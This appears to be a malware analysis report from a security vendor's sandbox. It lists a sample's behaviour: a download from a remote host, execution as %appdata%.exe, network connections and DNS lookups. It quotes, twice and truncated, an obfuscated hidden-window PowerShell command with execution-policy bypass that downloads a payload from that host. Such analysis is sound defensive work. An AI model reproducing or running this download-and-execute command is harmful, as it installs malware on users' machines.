Technical Information
Malicious functions
Downloads and executes
- http://asecwitlecn.bid/read.php?f=0.dat as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "p^OwersHEll.eXE ^-EXe^c^UTiON^PoLiCY ByPas^s^ -n^opRo^fI^lE -^W^INdO^w^s^TYL^e Hi^d^D^en ^(^new-Object^ sysT^e^m.Net.We^bClienT)^.DoWn^lO^Adfi^lE^(^'http://asecwitlecn.bid/...
Network activity
Connects to
- 'as###itlecn.bid':80
TCP
HTTP GET requests
- http://as###itlecn.bid/read.php?f=#####
UDP
- DNS ASK as###itlecn.bid
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "p^OwersHEll.eXE ^-EXe^c^UTiON^PoLiCY ByPas^s^ -n^opRo^fI^lE -^W^INdO^w^s^TYL^e Hi^d^D^en ^(^new-Object^ sysT^e^m.Net.We^bClienT)^.DoWn^lO^Adfi^lE^(^'http://asecwitlecn.bid/...' (with hidden window)
